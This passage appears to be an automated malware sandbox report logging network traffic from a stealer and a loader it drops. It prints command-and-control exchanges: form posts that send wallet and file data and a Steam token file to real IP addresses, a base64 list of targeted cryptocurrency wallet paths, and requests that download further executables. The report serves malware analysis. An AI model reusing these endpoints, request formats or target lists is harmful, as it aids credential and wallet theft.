86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 15, 2024 16:16:34.430694103 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 16:16:35.210401058 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:35.462078094 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="message"wallets------IECBGIDAEHCGDGCBKEBG--
Nov 15, 2024 16:16:35.741905928 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 15, 2024 16:16:35.744308949 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="message"files------EBKEHJJDAAAAKECBGHDA--
Nov 15, 2024 16:16:36.024108887 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:36.054064989 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="file"------FCAAEHJDBKJJKFHJEBKF--
Nov 15, 2024 16:16:36.825496912 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:16:36.855031013 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="message"ybncbhylepme------HJDBFBKKJDHJKECBGDAK--
Nov 15, 2024 16:16:37.135253906 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 15, 2024 16:16:40.194538116 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJECGHJDBFIJJJKEHCBF--
Nov 15, 2024 16:16:40.971421003 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49913	185.215.113.16	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:16:37.145373106 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 15, 2024 16:16:38.052710056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:16:37 GMT Content-Type: application/octet-stream Content-Length: 3255808 Last-Modified: Fri, 15 Nov 2024 15:05:35 GMT Connection: keep-alive ETag: "6737633f-31ae00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 b0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@11@WkH811 @.rsrcH@.idata @hqrrjeyx**@ohdidvea11@.taggant01"1@
Nov 15, 2024 16:16:38.052812099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:16:38.052897930 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:16:38.052932978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:16:38.053035975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:16:38.053069115 CET	1236	IN	Data Raw: 95 20 6a 36 a5 c0 8f fc ed fc 2f e3 ec a4 54 06 32 60 ac 5e ff e3 ad 36 c5 e3 f0 81 32 7a 98 de e9 21 6a 36 a5 bc 76 fc ed fc 4f e3 ec a4 54 a6 32 60 ac 5e 5f e2 ad 36 c5 e3 f0 81 32 7a b4 de 01 21 6a 36 a5 f0 7b fc ed fc 6f e3 ec a4 54 46 32 60 Data Ascii: j6/T2`^62z!j6vOT2`^_62z!j6{oTF2`^?62z!j6tyT0`^62z!j6HT1`^62z!!j6\|T&4`^62z!j6}T3`^62z!j60~Tf4`
Nov 15, 2024 16:16:38.053124905 CET	1236	IN	Data Raw: bf 46 ae 36 c5 e3 f0 81 32 7a a8 de 7d 1e 6a 36 a5 68 92 fc ed fc 0f de ec a4 54 66 48 60 ac 5e 1f 46 ae 36 c5 e3 f0 81 32 7a a8 de 85 1e 6a 36 a5 88 78 fc ed fc 2f de ec a4 54 06 47 60 ac 5e ff 46 ae 36 c5 e3 f0 81 32 7a b4 de 8d 1e 6a 36 a5 48 Data Ascii: F62z}j6hTfH`^F62zj6x/TG`^F62zj6H\|OTG`^_I62zj60oTFG`^?I62zj6,zTA`^I62z5j6TB`^I62zAj6yT&A`^I62zaj6
Nov 15, 2024 16:16:38.053200006 CET	448	IN	Data Raw: ed fc cf d8 ec a4 54 26 55 60 ac 5e df 4d ae 36 c5 e3 f0 81 32 7a b0 de 29 1a 6a 36 a5 a0 78 fc ed fc ef d8 ec a4 54 c6 54 60 ac 5e bf 4d ae 36 c5 e3 f0 81 32 7a b4 de 39 1a 6a 36 a5 88 7d fc ed fc 0f d9 ec a4 54 66 55 60 ac 5e 1f 4d ae 36 c5 e3 Data Ascii: T&U`^M62z)j6xTT`^M62z9j6}TfU`^M62zMj6 /TX`^M62zj6OTX`^_L62zj6`{oTFX`^?L62zj6xTV`^L62zij6TW`^L6
Nov 15, 2024 16:16:38.053234100 CET	1236	IN	Data Raw: ed fc 8f d8 ec a4 54 e6 53 60 ac 5e 9f 4f ae 36 c5 e3 f0 81 32 7a a8 de 51 1b 6a 36 a5 78 7a fc ed fc af d8 ec a4 54 86 54 60 ac 5e 7f 4f ae 36 c5 e3 f0 81 32 7a a4 de 59 1b 6a 36 a5 20 7b fc ed fc cf d6 ec a4 54 26 53 60 ac 5e df 4f ae 36 c5 e3 Data Ascii: TS`^O62zQj6xzTT`^O62zYj6 {T&S`^O62zj6@\|TR`^O62zj6TfS`^O62zj6}/T^`^O62zj6OT^`^_N62zj6@}oTF^`^?N6
Nov 15, 2024 16:16:38.053281069 CET	1236	IN	Data Raw: 32 19 6e 3a 2b a5 18 3b a9 a4 5c 5e 8f b1 ab 36 c5 e3 f0 81 32 d8 f0 81 32 d8 f0 81 32 d8 f0 81 32 1b 76 3a a6 c8 2d fb ed 21 f6 44 a9 e5 eb 81 32 71 33 62 bc 1b be c2 ac a0 e7 3b 7a a1 69 36 be fc 51 2b ef a4 2b 7a ea 0e 6a 3e ed 90 b3 e0 f1 6e Data Ascii: 2n:+;\^62222v:-!D2q3b;zi6Q++zj>n3\|i9WvwFE<e}\6i6/22uV}.22q3b:>wW^56o,fax22q3b:>o;V7n8}3\|i2222q3bU.u`6t
Nov 15, 2024 16:16:38.059672117 CET	1236	IN	Data Raw: ee a4 ac e6 70 61 c8 7b a9 dc ac e6 74 59 c8 7b a9 fc ad 5e ca b4 ab 36 77 71 10 b9 2a 9c e7 3c 6e 9e 69 36 6f 0a 9d c8 15 1b 72 ae b0 1b ee b6 68 a4 9c 36 ee 92 9c c1 b5 08 2c 78 0f bb ed b8 2e 08 2c 4e 03 8f 6b e8 bc fc ca a2 ed a4 2b 7a f6 1b Data Ascii: pa{tY{^6wq<ni6orh6,x.,Nk+zt>w5tB+0<5rJ6f3R]?6wbOkA2222q3b;zi6&+zj>n3\|i9q3bUu`6t+bn*^)t1Y6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49992	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:04.404100895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:17:05.308134079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49993	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:06.822714090 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:17:07.735459089 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 36 34 34 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 36 34 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 34 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 34 36 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 [TRUNCATED] Data Ascii: 1c5 <c>1006449001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1006462001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1006463001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1006464031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1006465001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49994	31.41.244.11	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:07.745482922 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
